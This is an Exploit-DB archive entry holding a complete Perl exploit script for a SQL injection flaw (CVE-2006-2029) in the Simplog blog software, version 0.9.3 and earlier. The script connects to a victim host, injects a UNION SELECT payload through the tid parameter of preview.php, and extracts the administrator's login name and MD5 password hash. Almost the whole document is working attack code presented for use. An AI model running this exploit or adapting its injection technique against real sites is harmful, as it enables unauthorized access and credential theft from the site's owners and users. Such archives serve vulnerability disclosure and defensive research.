Simplog <= 0.9.3 tid Remote SQL Injection Exploit

2006-04-21T00:00:00
ID EDB-ID:1705
Type exploitdb
Reporter nukedx
Modified 2006-04-21T00:00:00

Description

Simplog <= 0.9.3 (tid) Remote SQL Injection Exploit. CVE-2006-2029. Webapps exploit for php platform

                                        
                                            #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts &gt; ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=25
#Usage: simplog.pl &lt;host&gt; &lt;path&gt;
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-25\r\n";
  print "- Simplog &lt;= 0.93 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 &lt;host&gt; &lt;path&gt;\r\n";
  print "- &lt;host&gt; -&gt; Victim's host ex: www.victim.com\r\n";
  print "- &lt;path&gt; -&gt; Path to Simplog ex: /simplog/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "preview.php?adm=tem&blogid=1&tid=";
  $spxp     = "-1/**/UNION/**/SELECT/**/concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET-&gt;new(Proto =&gt; "tcp", PeerAddr =&gt; "$spserver", PeerPort =&gt; "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = &lt;$sp&gt;) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21]